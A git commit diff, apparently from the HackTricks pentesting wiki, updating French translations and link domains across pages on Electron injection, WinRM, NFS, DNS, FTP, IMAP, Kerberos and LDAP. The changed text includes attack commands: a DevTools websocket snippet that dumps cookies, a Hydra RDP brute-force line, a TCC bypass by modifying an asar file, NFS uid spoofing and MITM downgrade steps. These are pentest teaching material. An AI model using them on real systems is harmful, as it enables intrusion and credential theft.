Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:53:30 +00:00
parent 675961bb03
commit 4586a129e1
37 changed files with 355 additions and 349 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access

View File

@ -4,8 +4,8 @@
## Informations de base
Si vous ne savez pas ce qu'est Electron, vous pouvez trouver [**beaucoup d'informations ici**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Mais pour l'instant, sachez simplement qu'Electron exécute **node**.\
Et node a certains **paramètres** et **variables d'environnement** qui peuvent être utilisés pour **exécuter un autre code** en plus du fichier indiqué.
Si vous ne savez pas ce qu'est Electron, vous pouvez trouver [**beaucoup d'informations ici**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Mais pour l'instant, sachez simplement qu'Electron exécute **node**.\
Et node a certains **paramètres** et **variables d'environnement** qui peuvent être utilisés pour **exécuter d'autres codes** en plus du fichier indiqué.
### Fusibles Electron
@ -19,11 +19,11 @@ Ces techniques seront discutées ensuite, mais récemment, Electron a ajouté pl
Un autre fusible intéressant qui ne préviendra pas l'injection de code est :
- **EnableCookieEncryption** : S'il est activé, le magasin de cookies sur disque est chiffré à l'aide de clés de cryptographie au niveau du système d'exploitation.
- **EnableCookieEncryption** : S'il est activé, le stockage des cookies sur disque est chiffré à l'aide de clés de cryptographie au niveau du système d'exploitation.
### Vérification des Fusibles Electron
Vous pouvez **vérifier ces drapeaux** depuis une application avec :
Vous pouvez **vérifier ces drapeaux** à partir d'une application avec :
```bash
npx @electron/fuses read --app /Applications/Slack.app
@ -50,7 +50,7 @@ Vous pouvez charger ce fichier dans [https://hexed.it/](https://hexed.it/) et re
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Notez que si vous essayez de **surcharger** le binaire **`Electron Framework`** à l'intérieur d'une application avec ces octets modifiés, l'application ne fonctionnera pas.
Notez que si vous essayez de **surcharger** le **binaire `Electron Framework`** à l'intérieur d'une application avec ces octets modifiés, l'application ne fonctionnera pas.
## RCE ajout de code aux applications Electron
@ -64,7 +64,7 @@ Il pourrait y avoir des **fichiers JS/HTML externes** qu'une application Electro
>
> Rendant ce chemin d'attaque plus compliqué (ou impossible).
Notez qu'il est possible de contourner l'exigence de **`kTCCServiceSystemPolicyAppBundles`** en copiant l'application dans un autre répertoire (comme **`/tmp`**), en renommant le dossier **`app.app/Contents`** en **`app.app/NotCon`**, **modifiant** le fichier **asar** avec votre code **malveillant**, en le renommant à nouveau en **`app.app/Contents`** et en l'exécutant.
Notez qu'il est possible de contourner l'exigence de **`kTCCServiceSystemPolicyAppBundles`** en copiant l'application dans un autre répertoire (comme **`/tmp`**), en renommant le dossier **`app.app/Contents`** en **`app.app/NotCon`**, en **modifiant** le fichier **asar** avec votre code **malveillant**, en le renommant à nouveau en **`app.app/Contents`** et en l'exécutant.
Vous pouvez décompresser le code du fichier asar avec :
```bash
@ -169,9 +169,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
Dans [**cet article de blog**](https://hackerone.com/reports/1274695), ce débogage est abusé pour faire en sorte qu'un chrome sans interface **télécharge des fichiers arbitraires à des emplacements arbitraires**.
Dans [**cet article de blog**](https://hackerone.com/reports/1274695), ce débogage est abusé pour faire en sorte qu'un chrome sans tête **télécharge des fichiers arbitraires à des emplacements arbitraires**.
### Injection depuis le Plist de l'Application
### Injection depuis le Plist de l'App
Vous pourriez abuser de cette variable d'environnement dans un plist pour maintenir la persistance en ajoutant ces clés :
```xml

View File

@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users

View File

@ -34,9 +34,9 @@ PORT STATE SERVICE VERSION
```
### Service de Session
Pour les interactions orientées connexion, le **Service de Session** facilite une conversation entre deux appareils, en utilisant des connexions **TCP** via le port **139/tcp**. Une session commence par un paquet "Session Request" et peut être établie en fonction de la réponse. Le service prend en charge des messages plus volumineux, la détection d'erreurs et la récupération, avec TCP gérant le contrôle de flux et la retransmission des paquets.
Pour des interactions orientées connexion, le **Service de Session** facilite une conversation entre deux appareils, en utilisant des connexions **TCP** via le port **139/tcp**. Une session commence par un paquet "Session Request" et peut être établie en fonction de la réponse. Le service prend en charge des messages plus volumineux, la détection d'erreurs et la récupération, avec TCP gérant le contrôle de flux et la retransmission des paquets.
La transmission de données au sein d'une session implique des **paquets de message de session**, les sessions étant terminées par la fermeture de la connexion TCP.
La transmission de données au sein d'une session implique des paquets **Session Message**, les sessions étant terminées par la fermeture de la connexion TCP.
Ces services sont essentiels au fonctionnement de **NetBIOS**, permettant une communication efficace et le partage de ressources à travers un réseau. Pour plus d'informations sur les protocoles TCP et IP, consultez leurs pages respectives [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) et [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
```bash
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names

View File

@ -4,7 +4,7 @@
## Informations de base
Oracle database (Oracle DB) est un système de gestion de base de données relationnelle (RDBMS) de la société Oracle (à partir de [ici](https://www.techopedia.com/definition/8711/oracle-database)).
Oracle database (Oracle DB) est un système de gestion de base de données relationnelle (RDBMS) de la société Oracle (de [ici](https://www.techopedia.com/definition/8711/oracle-database)).
Lors de l'énumération d'Oracle, la première étape consiste à communiquer avec le TNS-Listener qui réside généralement sur le port par défaut (1521/TCP, -vous pouvez également obtenir des écouteurs secondaires sur 15221529-).
```
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -23,7 +23,7 @@ Pour utiliser les modules oracle de MSF, vous devez installer certaines dépenda
## Publications
Vérifiez ces publications :
Consultez ces publications :
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -9,7 +9,7 @@ Ce port est utilisé par **Redshift** pour fonctionner. C'est essentiellement un
Pour plus d'informations, consultez :
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@ La présence de WinRM sur une machine permet une administration à distance simp
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
Un port ouvert dans la liste ci-dessus signifie que WinRM a été configuré, permettant ainsi des tentatives d'initiation d'une session à distance.
Un port ouvert de la liste ci-dessus signifie que WinRM a été configuré, permettant ainsi des tentatives d'initiation d'une session à distance.
### **Initiation d'une session WinRM**
@ -20,7 +20,7 @@ Pour configurer PowerShell pour WinRM, le cmdlet `Enable-PSRemoting` de Microsof
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Cette approche consiste à ajouter un caractère générique à la configuration `trustedhosts`, une étape qui nécessite une considération prudente en raison de ses implications. Il est également noté qu'il pourrait être nécessaire de modifier le type de réseau de "Public" à "Work" sur la machine de l'attaquant.
Cette approche implique d'ajouter un caractère générique à la configuration `trustedhosts`, une étape qui nécessite une considération prudente en raison de ses implications. Il est également noté qu'il pourrait être nécessaire de modifier le type de réseau de "Public" à "Work" sur la machine de l'attaquant.
De plus, WinRM peut être **activé à distance** en utilisant la commande `wmic`, comme démontré ci-dessous :
```powershell
@ -115,9 +115,9 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Si vous trouvez l'erreur suivante :
`enter-pssession : La connexion au serveur distant 10.10.10.175 a échoué avec le message d'erreur suivant : Le client WinRM ne peut pas traiter la demande. Si le schéma d'authentification est différent de Kerberos, ou si l'ordinateur client n'est pas joint à un domaine, alors le transport HTTPS doit être utilisé ou la machine de destination doit être ajoutée à la configuration TrustedHosts. Utilisez winrm.cmd pour configurer TrustedHosts. Notez que les ordinateurs dans la liste TrustedHosts pourraient ne pas être authentifiés. Vous pouvez obtenir plus d'informations à ce sujet en exécutant la commande suivante : winrm help config. Pour plus d'informations, voir le sujet d'aide about_Remote_Troubleshooting.`
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
Essayez sur le client (info de [ici](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)) :
Essayez sur le client (info de [ici](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -254,11 +254,13 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -20,7 +20,7 @@ L'authentification repose généralement sur les **identifiants `UID`/`GID` UNIX
- **NFSv3** : Introduit avec une série d'améliorations, NFSv3 a élargi son prédécesseur en prenant en charge des tailles de fichiers variables et en offrant de meilleurs mécanismes de rapport d'erreurs. Malgré ses avancées, il a rencontré des limitations en matière de compatibilité totale avec les clients NFSv2.
- **NFSv4** : Une version marquante de la série NFS, NFSv4 a apporté un ensemble de fonctionnalités conçues pour moderniser le partage de fichiers à travers les réseaux. Les améliorations notables incluent l'intégration de Kerberos pour une **sécurité élevée**, la capacité de traverser les pare-feu et de fonctionner sur Internet sans avoir besoin de portmappers, le support des listes de contrôle d'accès (ACL), et l'introduction d'opérations basées sur l'état. Ses améliorations de performance et l'adoption d'un protocole orienté état distinguent NFSv4 comme un avancement clé dans les technologies de partage de fichiers en réseau.
- **NFSv4** : Une version marquante de la série NFS, NFSv4 a apporté un ensemble de fonctionnalités conçues pour moderniser le partage de fichiers à travers les réseaux. Les améliorations notables incluent l'intégration de Kerberos pour une **sécurité élevée**, la capacité de traverser les pare-feu et de fonctionner sur Internet sans avoir besoin de portmappers, le support des listes de contrôle d'accès (ACL), et l'introduction d'opérations basées sur l'état. Ses améliorations de performance et l'adoption d'un protocole orienté état distinguent NFSv4 comme une avancée majeure dans les technologies de partage de fichiers en réseau.
Chaque version de NFS a été développée dans le but de répondre aux besoins évolutifs des environnements réseau, améliorant progressivement la sécurité, la compatibilité et la performance.
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap

View File

@ -5,7 +5,7 @@
## **Informations de base**
Le **système de noms de domaine (DNS)** sert de répertoire pour Internet, permettant aux utilisateurs d'accéder à des sites Web via des **noms de domaine faciles à retenir** comme google.com ou facebook.com, au lieu des adresses numériques de protocole Internet (IP). En traduisant les noms de domaine en adresses IP, le DNS garantit que les navigateurs Web peuvent charger rapidement les ressources Internet, simplifiant ainsi notre navigation dans le monde en ligne.
Le **système de noms de domaine (DNS)** sert de répertoire d'internet, permettant aux utilisateurs d'accéder à des sites web via des **noms de domaine faciles à retenir** comme google.com ou facebook.com, au lieu des adresses numériques de protocole Internet (IP). En traduisant les noms de domaine en adresses IP, le DNS garantit que les navigateurs web peuvent rapidement charger les ressources internet, simplifiant ainsi notre navigation dans le monde en ligne.
**Port par défaut :** 53
```
@ -38,7 +38,7 @@ Il est également possible de récupérer la bannière avec un script **nmap** :
```
--script dns-nsid
```
### **Tout enregistrement**
### **Any record**
L'enregistrement **ANY** demandera au serveur DNS de **retourner** toutes les **entrées** disponibles qu'il **est prêt à divulguer**.
```bash
@ -99,7 +99,7 @@ dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
Un autre outil pour cela : [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Vous pouvez interroger des plages IP inversées à [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (cet outil est également utile avec BGP).
Vous pouvez interroger des plages d'IP inversées à [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (cet outil est également utile avec BGP).
### DNS - BF des sous-domaines
```bash
@ -126,17 +126,17 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```
### IPv6
Force brute en utilisant des requêtes "AAAA" pour rassembler l'IPv6 des sous-domaines.
Brute force utilisant des requêtes "AAAA" pour rassembler l'IPv6 des sous-domaines.
```bash
dnsdict6 -s -t <domain>
```
Bruteforce reverse DNS en utilisant des adresses IPv6
Bruteforce de DNS inversé en utilisant des adresses IPv6
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Recursion DDoS
Si **la récursion DNS est activée**, un attaquant pourrait **usurper** l'**origine** dans le paquet UDP afin de faire en sorte que le **DNS envoie la réponse au serveur victime**. Un attaquant pourrait abuser des types d'enregistrements **ANY** ou **DNSSEC** car ils ont tendance à avoir des réponses plus volumineuses.\
Si **la récursion DNS est activée**, un attaquant pourrait **usurper** l'**origine** dans le paquet UDP afin de faire en sorte que le **DNS envoie la réponse au serveur victime**. Un attaquant pourrait abuser des types d'enregistrements **ANY** ou **DNSSEC** car ils ont généralement des réponses plus volumineuses.\
La façon de **vérifier** si un DNS prend en charge la **récursion** est de interroger un nom de domaine et de **vérifier** si le **drapeau "ra"** (_récursion disponible_) est dans la réponse :
```bash
dig google.com A @<IP>
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
https://book.hacktricks.xyz/pentesting/pentesting-dns
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab

View File

@ -14,9 +14,9 @@ PORT STATE SERVICE
```
### Connexions Actives & Passives
Dans **Active FTP**, le **client** FTP initie d'abord la **connexion** de contrôle depuis son port N vers le port de commande du serveur FTP port 21. Le **client** écoute ensuite le port **N+1** et envoie le port N+1 au serveur FTP. Le **serveur** FTP initie alors la **connexion** de données, depuis **son port M vers le port N+1** du client FTP.
Dans **Active FTP**, le **client** FTP initie d'abord la **connexion** de contrôle depuis son port N vers le port de commande du serveur FTP le port 21. Le **client** écoute ensuite le port **N+1** et envoie le port N+1 au serveur FTP. Le **serveur** FTP initie alors la **connexion** de données, depuis **son port M vers le port N+1** du client FTP.
Cependant, si le client FTP a un pare-feu configuré qui contrôle les connexions de données entrantes de l'extérieur, alors Active FTP peut poser problème. Une solution envisageable à cela est Passive FTP.
Cependant, si le client FTP a un pare-feu configuré qui contrôle les connexions de données entrantes de l'extérieur, alors Active FTP peut poser problème. Une solution envisageable est Passive FTP.
Dans **Passive FTP**, le client initie la connexion de contrôle depuis son port N vers le port 21 du serveur FTP. Après cela, le client émet une **commande passv**. Le serveur envoie alors au client l'un de ses numéros de port M. Et le **client** **initie** la **connexion** de données depuis **son port P vers le port M** du serveur FTP.
@ -105,7 +105,7 @@ Ici, vous pouvez trouver une belle liste avec des identifiants FTP par défaut :
### Automatisé
La connexion Anon et les vérifications de rebond FTP sont effectuées par défaut par nmap avec l'option **-sC** ou :
La connexion anonyme et les vérifications de rebond FTP sont effectuées par défaut par nmap avec l'option **-sC** ou :
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -171,7 +171,7 @@ posts.txt
- Essayez de **remplir la requête avec des données "junk" relatives au protocole** (en parlant à FTP, peut-être juste des commandes junk ou répéter l'instruction `RETR` pour obtenir le fichier)
- Juste **remplir la requête avec beaucoup de caractères nuls ou autres** (divisés sur des lignes ou non)
Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier d'un autre serveur FTP.](ftp-bounce-download-2oftp-file.md)
Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier d'un serveur FTP différent.](ftp-bounce-download-2oftp-file.md)
## Vulnérabilité du serveur Filezilla
@ -186,7 +186,7 @@ vsftpd.conf
```
### Post-Exploitation
La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.conf`. Ici, vous pourriez trouver quelques paramètres dangereux :
La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.conf`. Ici, vous pourriez trouver certains paramètres dangereux :
- `anonymous_enable=YES`
- `anon_upload_enable=YES`
@ -194,7 +194,7 @@ La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.con
- `anon_root=/home/username/ftp` - Répertoire pour les utilisateurs anonymes.
- `chown_uploads=YES` - Changer la propriété des fichiers téléchargés anonymement
- `chown_username=username` - Utilisateur à qui la propriété des fichiers téléchargés anonymement est attribuée
- `local_enable=YES` - Activer la connexion des utilisateurs locaux
- `local_enable=YES` - Activer les utilisateurs locaux à se connecter
- `no_anon_password=YES` - Ne pas demander de mot de passe aux utilisateurs anonymes
- `write_enable=YES` - Autoriser les commandes : STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, et SITE
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Protocole d'Accès aux Messages Internet
## Internet Message Access Protocol
Le **Protocole d'Accès aux Messages Internet (IMAP)** est conçu pour permettre aux utilisateurs de **accéder à leurs messages électroniques depuis n'importe quel endroit**, principalement via une connexion Internet. En essence, les e-mails sont **conservés sur un serveur** plutôt que d'être téléchargés et stockés sur l'appareil personnel d'un individu. Cela signifie que lorsqu'un e-mail est accédé ou lu, cela se fait **directement depuis le serveur**. Cette capacité permet la commodité de vérifier les e-mails depuis **plusieurs appareils**, garantissant qu'aucun message n'est manqué, quel que soit l'appareil utilisé.
Le **Internet Message Access Protocol (IMAP)** est conçu pour permettre aux utilisateurs d'**accéder à leurs messages électroniques depuis n'importe quel endroit**, principalement via une connexion Internet. En essence, les e-mails sont **conservés sur un serveur** plutôt que d'être téléchargés et stockés sur l'appareil personnel d'un individu. Cela signifie que lorsqu'un e-mail est consulté ou lu, cela se fait **directement depuis le serveur**. Cette capacité permet la commodité de vérifier les e-mails depuis **plusieurs appareils**, garantissant qu'aucun message n'est manqué, quel que soit l'appareil utilisé.
Par défaut, le protocole IMAP fonctionne sur deux ports :
@ -91,7 +91,7 @@ apt install evolution
### CURL
La navigation de base est possible avec [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mais la documentation manque de détails, il est donc recommandé de vérifier la [source](https://github.com/curl/curl/blob/master/lib/imap.c) pour des détails précis.
La navigation de base est possible avec [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mais la documentation manque de détails, il est donc recommandé de vérifier le [source](https://github.com/curl/curl/blob/master/lib/imap.c) pour des détails précis.
1. Lister les boîtes aux lettres (commande imap `LIST "" "*"`)
```bash
@ -120,7 +120,7 @@ Il est également possible d'utiliser `UID` (identifiant unique) pour accéder a
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
Il est également possible de télécharger uniquement des parties d'un message, par exemple le sujet et l'expéditeur des 5 premiers messages (le `-v` est requis pour voir le sujet et l'expéditeur) :
Aussi, il est possible de télécharger uniquement des parties d'un message, par exemple le sujet et l'expéditeur des 5 premiers messages (le `-v` est requis pour voir le sujet et l'expéditeur) :
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab

View File

@ -6,7 +6,7 @@
**Kerberos** fonctionne sur un principe où il authentifie les utilisateurs sans gérer directement leur accès aux ressources. C'est une distinction importante car elle souligne le rôle du protocole dans les cadres de sécurité.
Dans des environnements comme **Active Directory**, **Kerberos** est essentiel pour établir l'identité des utilisateurs en validant leurs mots de passe secrets. Ce processus garantit que l'identité de chaque utilisateur est confirmée avant qu'il n'interagisse avec les ressources réseau. Cependant, **Kerberos** n'étend pas sa fonctionnalité pour évaluer ou appliquer les permissions qu'un utilisateur a sur des ressources ou services spécifiques. Au lieu de cela, il fournit un moyen sécurisé d'authentifier les utilisateurs, ce qui est une étape critique dans le processus de sécurité.
Dans des environnements comme **Active Directory**, **Kerberos** est essentiel pour établir l'identité des utilisateurs en validant leurs mots de passe secrets. Ce processus garantit que l'identité de chaque utilisateur est confirmée avant qu'il n'interagisse avec les ressources réseau. Cependant, **Kerberos** n'étend pas sa fonctionnalité pour évaluer ou appliquer les permissions qu'un utilisateur a sur des ressources ou services spécifiques. Au lieu de cela, il fournit un moyen sécurisé d'authentifier les utilisateurs, ce qui est une première étape critique dans le processus de sécurité.
Après l'authentification par **Kerberos**, le processus de prise de décision concernant l'accès aux ressources est délégué aux services individuels au sein du réseau. Ces services sont alors responsables d'évaluer les droits et permissions de l'utilisateur authentifié, en fonction des informations fournies par **Kerberos** sur les privilèges de l'utilisateur. Ce design permet une séparation des préoccupations entre l'authentification de l'identité des utilisateurs et la gestion de leurs droits d'accès, permettant une approche plus flexible et sécurisée de la gestion des ressources dans des réseaux distribués.
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds

View File

@ -45,7 +45,7 @@ ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
- Les lignes 1-3 définissent le domaine de niveau supérieur local
- Les lignes 1-3 définissent le domaine de premier niveau local
- Les lignes 5-8 définissent le domaine de premier niveau moneycorp (moneycorp.local)
- Les lignes 10-16 définissent 2 unités organisationnelles : dev et sales
- Les lignes 18-26 créent un objet du domaine et assignent des attributs avec des valeurs
@ -70,7 +70,7 @@ Si LDAP est utilisé sans SSL, vous pouvez **sniffer les identifiants en texte c
De plus, vous pouvez effectuer une attaque **MITM** dans le réseau **entre le serveur LDAP et le client.** Ici, vous pouvez réaliser une **attaque de rétrogradation** afin que le client utilise les **identifiants en texte clair** pour se connecter.
**Si SSL est utilisé**, vous pouvez essayer de faire **MITM** comme mentionné ci-dessus en offrant un **faux certificat**. Si l'**utilisateur l'accepte**, vous pouvez rétrograder la méthode d'authentification et voir à nouveau les identifiants.
**Si SSL est utilisé**, vous pouvez essayer de faire **MITM** comme mentionné ci-dessus mais en offrant un **faux certificat**. Si l'**utilisateur l'accepte**, vous pouvez rétrograder la méthode d'authentification et voir à nouveau les identifiants.
## Accès anonyme
@ -82,8 +82,8 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP anonymous binds
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiés** de récupérer des informations du domaine, telles qu'une liste complète d'utilisateurs, de groupes, d'ordinateurs, d'attributs de compte utilisateur et de la politique de mot de passe du domaine. C'est une **configuration héritée**, et depuis Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.\
Cependant, les administrateurs ont peut-être dû **configurer une application particulière pour permettre les connexions anonymes** et ont donné plus d'accès que prévu, permettant ainsi aux utilisateurs non authentifiés d'accéder à tous les objets dans AD.
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiés** de récupérer des informations du domaine, telles qu'une liste complète d'utilisateurs, de groupes, d'ordinateurs, d'attributs de comptes utilisateurs et de la politique de mot de passe du domaine. C'est une **configuration héritée**, et depuis Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.\
Cependant, les administrateurs ont pu avoir besoin de **configurer une application particulière pour permettre les connexions anonymes** et ont donné plus d'accès que prévu, permettant ainsi aux utilisateurs non authentifiés d'accéder à tous les objets dans AD.
## Valid Credentials
@ -145,7 +145,7 @@ True
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) est un script Python utile pour **énumérer les utilisateurs, les groupes et les ordinateurs d'un domaine Windows** en utilisant des requêtes LDAP.
[**Windapsearch**](https://github.com/ropnop/windapsearch) est un script Python utile pour **énumérer les utilisateurs, groupes et ordinateurs d'un domaine Windows** en utilisant des requêtes LDAP.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -189,11 +189,11 @@ Extraire **utilisateurs** :
